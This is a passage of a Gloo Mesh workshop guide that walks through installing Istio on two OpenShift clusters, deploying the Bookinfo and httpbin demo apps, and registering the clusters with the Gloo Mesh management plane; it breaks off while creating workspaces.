Gloo Mesh Workshop
Table of Contents
- Gloo Mesh Workshop
- Table of Contents
- Introduction
- Lab 1 - Deploy the Kubernetes clusters manually
- Lab 2 - Deploy Istio
- Lab 3 - Deploy the Bookinfo demo app
- Lab 4 - Deploy the httpbin demo app
- Lab 5 - Deploy and register Gloo Mesh
- Lab 6 - Create the gateways workspace
- Lab 7 - Create the bookinfo workspace
- Lab 8 - Expose the productpage through a gateway
- Lab 9 - Traffic policies
- Lab 10 - Create the Root Trust Policy
- Lab 11 - Multi-cluster Traffic
- Lab 12 - Leverage Virtual Destinations
- Lab 13 - Zero trust
- Lab 14 - Create the httpbin workspace
- Lab 15 - Expose an external service
- Lab 16 - Deploy Keycloak
- Lab 17 - Securing the access with OAuth
- Lab 18 - Use the JWT filter to create headers from claims
- Lab 19 - Use the transformation filter to manipulate headers
- Lab 20 - Apply rate limiting to the Gateway
- Lab 21 - Use the Web Application Firewall filter
Introduction
Gloo Mesh Enterprise is a management plane which makes it easy to operate Istio on one or many Kubernetes clusters deployed anywhere (any platform, anywhere).
Istio support
The Gloo Mesh Enterprise subscription includes end to end Istio support:
- Upstream first
- Specialty builds available (FIPS, ARM, etc)
- Long Term Support (LTS) N-4
- Critical security patches
- Production break-fix
- One hour SLA Severity 1
- Install / upgrade
- Architecture and operational guidance, best practices
Gloo Mesh overview
Gloo Mesh provides many unique features, including:
- multi-tenancy based on global workspaces
- zero trust enforcement
- global observability (centralized metrics and access logging)
- simplified cross cluster communications (using virtual destinations)
- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...)
Want to learn more about Gloo Mesh
You can find more information about Gloo Mesh in the official documentation:
https://docs.solo.io/gloo-mesh/latest/
Lab 1 - Deploy the Kubernetes clusters manually
Clone this repository and go to the gloo-mesh-2-0-openshift
directory.
Set the context environment variables:
export MGMT=mgmt
export CLUSTER1=cluster1
export CLUSTER2=cluster2
Note that in case you can't have a Kubernetes cluster dedicated for the management plane, you would set the variables like that:
export MGMT=mgmt export CLUSTER1=cluster1 export CLUSTER2=cluster2
You also need to rename the Kubernete contexts of each Kubernetes cluster to match mgmt
, cluster1
, ...
Here is an example showing how to rename a Kubernetes context:
kubectl config rename-context <context to rename> <new context name>
Run the following command to make mgmt
the current cluster.
kubectl config use-context ${MGMT}
Lab 2 - Deploy Istio
We are going to deploy Istio using Helm, but there are several other options. You can find more information in the Istio documentation. Note that the few Openshift specific commands used in this lab are documented on the Istio website here.
First of all, let's Download the Istio release ${ISTIO_VERSION}:
export ISTIO_VERSION=1.15.3
export ISTIO_REVISION=1-15
export ISTIO_MINOR_VERSION=1.15
# SOLO IMAGE HUB for the Istio Version
# https://support.solo.io/hc/en-us/articles/4414409064596
export HUB="Please update based on above URL"
curl -L https://istio.io/downloadIstio | sh -
Then, you need to create the istio-system
and the istio-gateways
namespaces on the first cluster.
kubectl --context ${CLUSTER1} create ns istio-system
kubectl --context ${CLUSTER1} create ns istio-gateways
For Openshift clusters, you also need to run the following commands to grant access to the priviledged scc
oc --context ${CLUSTER1} adm policy add-scc-to-group anyuid system:serviceaccounts:istio-system
oc --context ${CLUSTER1} adm policy add-scc-to-group anyuid system:serviceaccounts:istio-gateways
Now, let's deploy the Istio control plane on the first cluster:
helm --kube-context=${CLUSTER1} upgrade --install istio-base ./istio-${ISTIO_VERSION}/manifests/charts/base -n istio-system --set defaultRevision=${ISTIO_REVISION}
helm --kube-context=${CLUSTER1} upgrade --install istio-${ISTIO_VERSION} ./istio-${ISTIO_VERSION}/manifests/charts/istio-control/istio-discovery -n istio-system --values - <<EOF
revision: ${ISTIO_REVISION}
global:
meshID: mesh1
multiCluster:
clusterName: ${CLUSTER1}
network: network1
hub: ${HUB}
tag: ${ISTIO_VERSION}-solo
meshConfig:
outboundTrafficPolicy:
mode: REGISTRY_ONLY
trustDomain: ${CLUSTER1}
accessLogFile: /dev/stdout
enableAutoMtls: true
defaultConfig:
envoyMetricsService:
address: gloo-mesh-agent.gloo-mesh:9977
envoyAccessLogService:
address: gloo-mesh-agent.gloo-mesh:9977
proxyMetadata:
ISTIO_META_DNS_CAPTURE: "true"
ISTIO_META_DNS_AUTO_ALLOCATE: "true"
GLOO_MESH_CLUSTER_NAME: ${CLUSTER1}
pilot:
env:
PILOT_ENABLE_K8S_SELECT_WORKLOAD_ENTRIES: "false"
PILOT_SKIP_VALIDATE_TRUST_DOMAIN: "true"
# ---------------- Reload cacerts when cert-manager changes it ----------------
AUTO_RELOAD_PLUGIN_CERTS: "true"
istio_cni:
enabled: true
sidecarInjectorWebhook:
injectedAnnotations:
k8s.v1.cni.cncf.io/networks: istio-cni
EOF
kubectl --context ${CLUSTER1} -n istio-system \
rollout status deploy/istiod-${ISTIO_REVISION};
Install the Istio CNI helm chart:
helm --kube-context=${CLUSTER1} upgrade --install istio-cni -n kube-system ./istio-${ISTIO_VERSION}/manifests/charts/istio-cni --values - <<EOF
global:
hub: ${HUB}
tag: ${ISTIO_VERSION}-solo
cni:
excludeNamespaces:
- istio-system
- kube-system
- metallb-system
repair:
enabled: false
logLevel: info
privileged: true
cniBinDir: /var/lib/cni/bin
cniConfDir: /etc/cni/multus/net.d
chained: false
cniConfFileName: istio-cni.conf
EOF
For Openshift clusters, you need to create a run a NetworkAttachmentDefinition
object:
cat <<EOF | oc --context ${CLUSTER1} -n istio-gateways create -f -
apiVersion: "k8s.cni.cncf.io/v1"
kind: NetworkAttachmentDefinition
metadata:
name: istio-cni
EOF
Note that we set the trust domain
to be the same as the cluster name and we configure the sidecars to send their metrics and access logs to the Gloo Mesh agent.
After that, you can deploy the gateway(s):
kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=${ISTIO_REVISION}
helm --kube-context=${CLUSTER1} upgrade --install istio-ingressgateway ./istio-${ISTIO_VERSION}/manifests/charts/gateways/istio-ingress -n istio-gateways --values - <<EOF
global:
hub: ${HUB}
tag: ${ISTIO_VERSION}-solo
gateways:
istio-ingressgateway:
name: istio-ingressgateway
namespace: istio-gateways
labels:
istio: ingressgateway
injectionTemplate: gateway
ports:
- name: http2
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
EOF
helm --kube-context=${CLUSTER1} upgrade --install istio-eastwestgateway ./istio-${ISTIO_VERSION}/manifests/charts/gateways/istio-ingress -n istio-gateways --values - <<EOF
global:
hub: ${HUB}
tag: ${ISTIO_VERSION}-solo
gateways:
istio-ingressgateway:
name: istio-eastwestgateway
namespace: istio-gateways
labels:
istio: eastwestgateway
topology.istio.io/network: network1
injectionTemplate: gateway
ports:
- name: tcp-status-port
port: 15021
targetPort: 15021
- name: tls
port: 15443
targetPort: 15443
- name: tcp-istiod
port: 15012
targetPort: 15012
- name: tcp-webhook
port: 15017
targetPort: 15017
env:
ISTIO_META_ROUTER_MODE: "sni-dnat"
ISTIO_META_REQUESTED_NETWORK_VIEW: "network1"
EOF
As you can see, we deploy the control plane (istiod) in the istio-system
and gateway(s) in the istio-gateways
namespace.
One gateway will be used for ingress traffic while the other one will be used for cross cluster communications. It's not mandatory to use separate gateways, but it's a best practice.
Run the following command until all the Istio Pods are ready:
kubectl --context ${CLUSTER1} get pods -n istio-system && kubectl --context ${CLUSTER1} get pods -n istio-gateways
When they are ready, you should get this output:
NAME READY STATUS RESTARTS AGE
istiod-5c669bcf6f-2hn6c 1/1 Running 0 3m7s
NAME READY STATUS RESTARTS AGE
istio-eastwestgateway-77f79cdb47-f4r7k 1/1 Running 0 2m53s
istio-ingressgateway-744fcf4fb-5dc7q 1/1 Running 0 2m44s
You need to create the istio-system
and the istio-gateways
namespaces on the second cluster.
kubectl --context ${CLUSTER2} create ns istio-system
kubectl --context ${CLUSTER2} create ns istio-gateways
For Openshift clusters, you also need to run the following commands:
oc --context ${CLUSTER2} adm policy add-scc-to-group anyuid system:serviceaccounts:istio-system
oc --context ${CLUSTER2} adm policy add-scc-to-group anyuid system:serviceaccounts:istio-gateways
Now, let's deploy the Istio control plane on the second cluster:
helm --kube-context=${CLUSTER2} upgrade --install istio-base ./istio-${ISTIO_VERSION}/manifests/charts/base -n istio-system --set defaultRevision=${ISTIO_REVISION}
helm --kube-context=${CLUSTER2} upgrade --install istio-${ISTIO_VERSION} ./istio-${ISTIO_VERSION}/manifests/charts/istio-control/istio-discovery -n istio-system --values - <<EOF
revision: ${ISTIO_REVISION}
global:
meshID: mesh1
multiCluster:
clusterName: ${CLUSTER2}
network: network1
hub: ${HUB}
tag: ${ISTIO_VERSION}-solo
meshConfig:
outboundTrafficPolicy:
mode: REGISTRY_ONLY
trustDomain: ${CLUSTER2}
accessLogFile: /dev/stdout
enableAutoMtls: true
defaultConfig:
envoyMetricsService:
address: gloo-mesh-agent.gloo-mesh:9977
envoyAccessLogService:
address: gloo-mesh-agent.gloo-mesh:9977
proxyMetadata:
ISTIO_META_DNS_CAPTURE: "true"
ISTIO_META_DNS_AUTO_ALLOCATE: "true"
GLOO_MESH_CLUSTER_NAME: ${CLUSTER2}
pilot:
env:
PILOT_ENABLE_K8S_SELECT_WORKLOAD_ENTRIES: "false"
PILOT_SKIP_VALIDATE_TRUST_DOMAIN: "true"
# ---------------- Reload cacerts when cert-manager changes it ----------------
AUTO_RELOAD_PLUGIN_CERTS: "true"
istio_cni:
enabled: true
sidecarInjectorWebhook:
injectedAnnotations:
k8s.v1.cni.cncf.io/networks: istio-cni
EOF
Install the Istio CNI helm chart:
helm --kube-context=${CLUSTER2} upgrade --install istio-cni -n kube-system ./istio-${ISTIO_VERSION}/manifests/charts/istio-cni --values - <<EOF
global:
hub: ${HUB}
tag: ${ISTIO_VERSION}-solo
cni:
excludeNamespaces:
- istio-system
- kube-system
- metallb-system
repair:
enabled: false
logLevel: info
privileged: true
cniBinDir: /var/lib/cni/bin
cniConfDir: /etc/cni/multus/net.d
chained: false
cniConfFileName: istio-cni.conf
EOF
For Openshift clusters, you need to create a run a NetworkAttachmentDefinition
object:
cat <<EOF | oc --context ${CLUSTER2} -n istio-gateways create -f -
apiVersion: "k8s.cni.cncf.io/v1"
kind: NetworkAttachmentDefinition
metadata:
name: istio-cni
EOF
After that, you can deploy the gateways:
kubectl --context ${CLUSTER2} label namespace istio-gateways istio.io/rev=${ISTIO_REVISION}
helm --kube-context=${CLUSTER2} upgrade --install istio-ingressgateway ./istio-${ISTIO_VERSION}/manifests/charts/gateways/istio-ingress -n istio-gateways --values - <<EOF
global:
hub: ${HUB}
tag: ${ISTIO_VERSION}-solo
gateways:
istio-ingressgateway:
name: istio-ingressgateway
namespace: istio-gateways
labels:
istio: ingressgateway
injectionTemplate: gateway
ports:
- name: http2
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
EOF
helm --kube-context=${CLUSTER2} upgrade --install istio-eastwestgateway ./istio-${ISTIO_VERSION}/manifests/charts/gateways/istio-ingress -n istio-gateways --values - <<EOF
global:
hub: ${HUB}
tag: ${ISTIO_VERSION}-solo
gateways:
istio-ingressgateway:
name: istio-eastwestgateway
namespace: istio-gateways
labels:
istio: eastwestgateway
topology.istio.io/network: network1
injectionTemplate: gateway
ports:
- name: tcp-status-port
port: 15021
targetPort: 15021
- name: tls
port: 15443
targetPort: 15443
- name: tcp-istiod
port: 15012
targetPort: 15012
- name: tcp-webhook
port: 15017
targetPort: 15017
env:
ISTIO_META_ROUTER_MODE: "sni-dnat"
ISTIO_META_REQUESTED_NETWORK_VIEW: "network1"
EOF
Check the status on the second cluster using:
kubectl --context ${CLUSTER2} get pods -n istio-system && kubectl --context ${CLUSTER2} get pods -n istio-gateways
Expose an OpenShift route for the ingress gateway on the first cluster:
oc --context ${CLUSTER1} -n istio-gateways expose svc/istio-ingressgateway --port=http2
Expose an OpenShift route for the ingress gateway on the second cluster:
oc --context ${CLUSTER2} -n istio-gateways expose svc/istio-ingressgateway --port=http2
Set the environment variable for the service corresponding to the Istio Ingress Gateway of the cluster(s):
export ENDPOINT_HTTP_GW_CLUSTER1=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].*}'):80
export ENDPOINT_HTTPS_GW_CLUSTER1=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].*}'):443
export HOST_GW_CLUSTER1=$(echo ${ENDPOINT_HTTP_GW_CLUSTER1} | cut -d: -f1)
export ENDPOINT_HTTP_GW_CLUSTER2=$(kubectl --context ${CLUSTER2} -n istio-gateways get svc istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].*}'):80
export ENDPOINT_HTTPS_GW_CLUSTER2=$(kubectl --context ${CLUSTER2} -n istio-gateways get svc istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].*}'):443
export HOST_GW_CLUSTER2=$(echo ${ENDPOINT_HTTP_GW_CLUSTER2} | cut -d: -f1)
echo "ENDPOINT_HTTP_GW_CLUSTER1= ${ENDPOINT_HTTP_GW_CLUSTER1}"
echo "ENDPOINT_HTTPS_GW_CLUSTER1= ${ENDPOINT_HTTPS_GW_CLUSTER1}"
echo "HOST_GW_CLUSTER1= ${HOST_GW_CLUSTER1}"
echo "ENDPOINT_HTTP_GW_CLUSTER2= ${ENDPOINT_HTTP_GW_CLUSTER2}"
echo "ENDPOINT_HTTPS_GW_CLUSTER2= ${ENDPOINT_HTTPS_GW_CLUSTER2}"
echo "HOST_GW_CLUSTER2= ${HOST_GW_CLUSTER2}"
Lab 3 - Deploy the Bookinfo demo app
We're going to deploy the bookinfo application to demonstrate several features of Istio and Gloo Mesh.
You can find more information about this application here. Note that the few Openshift specific commands used in this lab are documented on the Istio website here.
Run the following commands to deploy the bookinfo application on cluster1
:
kubectl --context ${CLUSTER1} create ns bookinfo-frontends
kubectl --context ${CLUSTER1} create ns bookinfo-backends
oc --context ${CLUSTER1} adm policy add-scc-to-group anyuid system:serviceaccounts:bookinfo-frontends
oc --context ${CLUSTER1} adm policy add-scc-to-group anyuid system:serviceaccounts:bookinfo-backends
cat <<EOF | oc --context ${CLUSTER1} -n bookinfo-frontends create -f -
apiVersion: "k8s.cni.cncf.io/v1"
kind: NetworkAttachmentDefinition
metadata:
name: istio-cni
EOF
cat <<EOF | oc --context ${CLUSTER1} -n bookinfo-backends create -f -
apiVersion: "k8s.cni.cncf.io/v1"
kind: NetworkAttachmentDefinition
metadata:
name: istio-cni
EOF
curl "https://raw.githubusercontent.com/istio/istio/release-${ISTIO_MINOR_VERSION}/samples/bookinfo/platform/kube/bookinfo.yaml" > bookinfo.yaml
kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=${ISTIO_REVISION}
kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=${ISTIO_REVISION}
# deploy the frontend bookinfo service in the bookinfo-frontends namespace
kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f bookinfo.yaml -l 'account in (productpage)'
kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f bookinfo.yaml -l 'app in (productpage)'
# deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3
kubectl --context ${CLUSTER1} -n bookinfo-backends apply -f bookinfo.yaml -l 'account in (reviews,ratings,details)'
kubectl --context ${CLUSTER1} -n bookinfo-backends apply -f bookinfo.yaml -l 'app in (reviews,ratings,details),version notin (v3)'
# Update the productpage deployment to set the environment variables to define where the backend services are running
kubectl --context ${CLUSTER1} -n bookinfo-frontends set env deploy/productpage-v1 DETAILS_HOSTNAME=details.bookinfo-backends.svc.cluster.local
kubectl --context ${CLUSTER1} -n bookinfo-frontends set env deploy/productpage-v1 REVIEWS_HOSTNAME=reviews.bookinfo-backends.svc.cluster.local
# Update the reviews service to display where it is coming from
kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1}
kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1}
You can check that the app is running using the following command:
kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods
NAME READY STATUS RESTARTS AGE
productpage-v1-7654c7546b-7kztp 2/2 Running 0 32m
NAME READY STATUS RESTARTS AGE
details-v1-5498c86cf5-tx9f9 2/2 Running 0 32m
ratings-v1-b477cf6cf-fk5rv 2/2 Running 0 32m
reviews-v1-79d546878f-kcc25 2/2 Running 0 32m
reviews-v2-548c57f459-8xh7n 2/2 Running 0 32m
Note that we deployed the productpage
service in the bookinfo-frontends
namespace and the other services in the bookinfo-backends
namespace.
And we deployed the v1
and v2
versions of the reviews
microservice, not the v3
version.
Now, run the following commands to deploy the bookinfo application on cluster2
:
kubectl --context ${CLUSTER2} create ns bookinfo-frontends
kubectl --context ${CLUSTER2} create ns bookinfo-backends
oc --context ${CLUSTER2} adm policy add-scc-to-group anyuid system:serviceaccounts:bookinfo-frontends
oc --context ${CLUSTER2} adm policy add-scc-to-group anyuid system:serviceaccounts:bookinfo-backends
cat <<EOF | oc --context ${CLUSTER2} -n bookinfo-frontends create -f -
apiVersion: "k8s.cni.cncf.io/v1"
kind: NetworkAttachmentDefinition
metadata:
name: istio-cni
EOF
cat <<EOF | oc --context ${CLUSTER2} -n bookinfo-backends create -f -
apiVersion: "k8s.cni.cncf.io/v1"
kind: NetworkAttachmentDefinition
metadata:
name: istio-cni
EOF
kubectl --context ${CLUSTER2} label namespace bookinfo-frontends istio.io/rev=${ISTIO_REVISION}
kubectl --context ${CLUSTER2} label namespace bookinfo-backends istio.io/rev=${ISTIO_REVISION}
# deploy the frontend bookinfo service in the bookinfo-frontends namespace
kubectl --context ${CLUSTER2} -n bookinfo-frontends apply -f bookinfo.yaml -l 'account in (productpage)'
kubectl --context ${CLUSTER2} -n bookinfo-frontends apply -f bookinfo.yaml -l 'app in (productpage)'
# deploy the backend bookinfo services in the bookinfo-backends namespace for all versions
kubectl --context ${CLUSTER2} -n bookinfo-backends apply -f bookinfo.yaml -l 'account in (reviews,ratings,details)'
kubectl --context ${CLUSTER2} -n bookinfo-backends apply -f bookinfo.yaml -l 'app in (reviews,ratings,details)'
# Update the productpage deployment to set the environment variables to define where the backend services are running
kubectl --context ${CLUSTER2} -n bookinfo-frontends set env deploy/productpage-v1 DETAILS_HOSTNAME=details.bookinfo-backends.svc.cluster.local
kubectl --context ${CLUSTER2} -n bookinfo-frontends set env deploy/productpage-v1 REVIEWS_HOSTNAME=reviews.bookinfo-backends.svc.cluster.local
# Update the reviews service to display where it is coming from
kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER2}
kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER2}
kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v3 CLUSTER_NAME=${CLUSTER2}
You can check that the app is running using:
kubectl --context ${CLUSTER2} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER2} -n bookinfo-backends get pods
NAME READY STATUS RESTARTS AGE
productpage-v1-7654c7546b-wp46l 2/2 Running 0 83s
NAME READY STATUS RESTARTS AGE
details-v1-5498c86cf5-hv4tn 2/2 Running 0 85s
ratings-v1-b477cf6cf-8zxtw 2/2 Running 0 85s
reviews-v3-6dd79655b9-mw2ph 2/2 Running 0 84s
reviews-v2-548c57f459-qn2mx 2/2 Running 0 84s
reviews-v1-79d546878f-b7tpw 2/2 Running 0 84s
As you can see, we deployed all three versions of the reviews
microservice on this cluster.
Lab 4 - Deploy the httpbin demo app
We're going to deploy the httpbin application to demonstrate several features of Istio and Gloo Mesh.
You can find more information about this application here. Note that the few Openshift specific commands used in this lab are documented on the Istio website here.
Run the following commands to deploy the httpbin app on cluster1
twice.
The first version will be called not-in-mesh
and won't have the sidecar injected (because we don't label the namespace).
kubectl --context ${CLUSTER1} create ns httpbin
oc --context ${CLUSTER1} adm policy add-scc-to-group anyuid system:serviceaccounts:httpbin
cat <<EOF | oc --context ${CLUSTER1} -n httpbin create -f -
apiVersion: "k8s.cni.cncf.io/v1"
kind: NetworkAttachmentDefinition
metadata:
name: istio-cni
EOF
kubectl --context ${CLUSTER1} apply -n httpbin -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: not-in-mesh
---
apiVersion: v1
kind: Service
metadata:
name: not-in-mesh
labels:
app: not-in-mesh
service: not-in-mesh
spec:
ports:
- name: http
port: 8000
targetPort: 80
selector:
app: not-in-mesh
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: not-in-mesh
spec:
replicas: 1
selector:
matchLabels:
app: not-in-mesh
version: v1
template:
metadata:
labels:
app: not-in-mesh
version: v1
spec:
serviceAccountName: not-in-mesh
containers:
- image: docker.io/kennethreitz/httpbin
imagePullPolicy: IfNotPresent
name: not-in-mesh
ports:
- containerPort: 80
EOF
The second version will be called in-mesh
and will have the sidecar injected (because of the label istio.io/rev
in the Pod template).
kubectl --context ${CLUSTER1} apply -n httpbin -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: in-mesh
---
apiVersion: v1
kind: Service
metadata:
name: in-mesh
labels:
app: in-mesh
service: in-mesh
spec:
ports:
- name: http
port: 8000
targetPort: 80
selector:
app: in-mesh
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: in-mesh
spec:
replicas: 1
selector:
matchLabels:
app: in-mesh
version: v1
template:
metadata:
labels:
app: in-mesh
version: v1
istio.io/rev: ${ISTIO_REVISION}
spec:
serviceAccountName: in-mesh
containers:
- image: docker.io/kennethreitz/httpbin
imagePullPolicy: IfNotPresent
name: in-mesh
ports:
- containerPort: 80
EOF
You can check that the app is running using
kubectl --context ${CLUSTER1} -n httpbin get pods
NAME READY STATUS RESTARTS AGE
in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s
not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s
Lab 5 - Deploy and register Gloo Mesh
First of all, let's install the meshctl
CLI:
export GLOO_MESH_VERSION=2.1.0
Run the following commands to deploy the Gloo Mesh management plane:
helm repo add gloo-mesh-enterprise https://storage.googleapis.com/gloo-mesh-enterprise/gloo-mesh-enterprise
helm repo update
kubectl --context ${MGMT} create ns gloo-mesh
helm upgrade --install gloo-mesh-enterprise gloo-mesh-enterprise/gloo-mesh-enterprise \
--namespace gloo-mesh --kube-context ${MGMT} \
--version=${GLOO_MESH_VERSION} \
--set glooMeshMgmtServer.ports.healthcheck=8091 \
--set glooMeshMgmtServer.floatingUserId=true \
--set glooMeshUi.floatingUserId=true \
--set glooMeshRedis.floatingUserId=true \
--set prometheus.server.securityContext=false \
--set glooMeshUi.serviceType=LoadBalancer \
--set mgmtClusterName=${MGMT} \
--set licenseKey="${GLOO_MESH_LICENSE_KEY}" \
--set global.cluster=${MGMT}
kubectl --context ${MGMT} -n gloo-mesh rollout status deploy/gloo-mesh-mgmt-server
Then, you need to set the environment variable to tell the Gloo Mesh agents how to communicate with the management plane:
export ENDPOINT_GLOO_MESH=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-mesh-mgmt-server -o jsonpath='{.status.loadBalancer.ingress[0].*}'):9900
export HOST_GLOO_MESH=$(echo ${ENDPOINT_GLOO_MESH} | cut -d: -f1)
Check that the variables have correct values:
echo $HOST_GLOO_MESH
echo $ENDPOINT_GLOO_MESH
Finally, you need to register the cluster(s).
Here is how you register the first one:
helm repo add gloo-mesh-agent https://storage.googleapis.com/gloo-mesh-enterprise/gloo-mesh-agent
helm repo update
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: KubernetesCluster
metadata:
name: "${CLUSTER1}"
namespace: gloo-mesh
spec:
clusterDomain: cluster.local
EOF
kubectl --context ${CLUSTER1} create ns gloo-mesh
kubectl get secret relay-root-tls-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.ca\.crt}' | base64 -d > ca.crt
kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER1} --from-file ca.crt=ca.crt
rm ca.crt
kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token
kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER1} --from-file token=token
rm token
helm upgrade --install gloo-mesh-agent gloo-mesh-agent/gloo-mesh-agent \
--namespace gloo-mesh \
--kube-context=${CLUSTER1} \
--set relay.serverAddress=${ENDPOINT_GLOO_MESH} \
--set relay.authority=gloo-mesh-mgmt-server.gloo-mesh \
--set rate-limiter.enabled=false \
--set ext-auth-service.enabled=false \
--set cluster="${CLUSTER1}" \
--set glooMeshAgent.floatingUserId=true \
--version ${GLOO_MESH_VERSION}
Note that the registration can also be performed using meshctl cluster register
.
And here is how you register the second one:
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: KubernetesCluster
metadata:
name: ${CLUSTER2}
namespace: gloo-mesh
spec:
clusterDomain: cluster.local
EOF
kubectl --context ${CLUSTER2} create ns gloo-mesh
kubectl get secret relay-root-tls-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.ca\.crt}' | base64 -d > ca.crt
kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER2} --from-file ca.crt=ca.crt
rm ca.crt
kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token
kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER2} --from-file token=token
rm token
helm upgrade --install gloo-mesh-agent gloo-mesh-agent/gloo-mesh-agent \
--namespace gloo-mesh \
--kube-context=${CLUSTER2} \
--set relay.serverAddress=${ENDPOINT_GLOO_MESH} \
--set relay.authority=gloo-mesh-mgmt-server.gloo-mesh \
--set rate-limiter.enabled=false \
--set ext-auth-service.enabled=false \
--set cluster=${CLUSTER2} \
--set glooMeshAgent.floatingUserId=true \
--version ${GLOO_MESH_VERSION}
You can check the cluster(s) have been registered correctly using the following commands:
pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/metrics | grep relay_push_clients_connected
You should get an output similar to this:
# HELP relay_push_clients_connected Current number of connected Relay push clients (Relay Agents).
# TYPE relay_push_clients_connected gauge
relay_push_clients_connected{cluster="cluster1"} 1
relay_push_clients_connected{cluster="cluster2"} 1
To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons.
First, you need to create a namespace for the addons, with Istio injection enabled:
kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons
kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=${ISTIO_REVISION}
kubectl --context ${CLUSTER2} create namespace gloo-mesh-addons
kubectl --context ${CLUSTER2} label namespace gloo-mesh-addons istio.io/rev=${ISTIO_REVISION}
oc --context ${CLUSTER1} adm policy add-scc-to-group anyuid system:serviceaccounts:gloo-mesh-addons
cat <<EOF | oc --context ${CLUSTER1} -n gloo-mesh-addons create -f -
apiVersion: "k8s.cni.cncf.io/v1"
kind: NetworkAttachmentDefinition
metadata:
name: istio-cni
EOF
oc --context ${CLUSTER2} adm policy add-scc-to-group anyuid system:serviceaccounts:gloo-mesh-addons
cat <<EOF | oc --context ${CLUSTER2} -n gloo-mesh-addons create -f -
apiVersion: "k8s.cni.cncf.io/v1"
kind: NetworkAttachmentDefinition
metadata:
name: istio-cni
EOF
Then, you can deploy the addons on the cluster(s) using Helm:
helm upgrade --install gloo-mesh-agent-addons gloo-mesh-agent/gloo-mesh-agent \
--namespace gloo-mesh-addons \
--kube-context=${CLUSTER1} \
--set glooMeshAgent.enabled=false \
--set rate-limiter.enabled=true \
--set ext-auth-service.enabled=true \
--set glooMeshAgent.floatingUserId=true \
--version ${GLOO_MESH_VERSION}
helm upgrade --install gloo-mesh-agent-addons gloo-mesh-agent/gloo-mesh-agent \
--namespace gloo-mesh-addons \
--kube-context=${CLUSTER2} \
--set glooMeshAgent.enabled=false \
--set rate-limiter.enabled=true \
--set ext-auth-service.enabled=true \
--set glooMeshAgent.floatingUserId=true \
--version ${GLOO_MESH_VERSION}
Finally, you need to specify which gateways you want to use for cross cluster traffic:
cat <<EOF | kubectl --context ${MGMT} apply -f -
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
name: global
namespace: gloo-mesh
spec:
options:
eastWestGateways:
- selector:
labels:
istio: eastwestgateway
EOF
This is how to environment looks like now:
Lab 6 - Create the gateways workspace
We're going to create a workspace for the team in charge of the Gateways.
The platform team needs to create the corresponding Workspace
Kubernetes objects in the Gloo Mesh management cluster.
We will create namespaces on the management cluster that will provide a configuration namespace for each of our workspaces. The mapping will be as follows:
Workspace | Management namespace | Remote Cluster namespaces |
---|---|---|
gateways | gateways-config | istio-gateways & gloo-mesh-addons |
bookinfo | bookinfo-config | bookinfo-frontends & bookinfo-backends |
Let's create the namespaces.
kubectl create --context ${MGMT} ns gateways-config
kubectl create --context ${MGMT} ns bookinfo-config
Let's create the gateways
workspace which corresponds to the istio-gateways
and the gloo-mesh-addons
namespaces on the cluster(s):
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: Workspace
metadata:
name: gateways
namespace: gloo-mesh
spec:
workloadClusters:
- name: ${MGMT}
namespaces:
- name: gateways-config
- name: ${CLUSTER1}
namespaces:
- name: istio-gateways
- name: gloo-mesh-addons
- name: ${CLUSTER2}
namespaces:
- name: istio-gateways
- name: gloo-mesh-addons
EOF
Then, the Gateway team creates a WorkspaceSettings
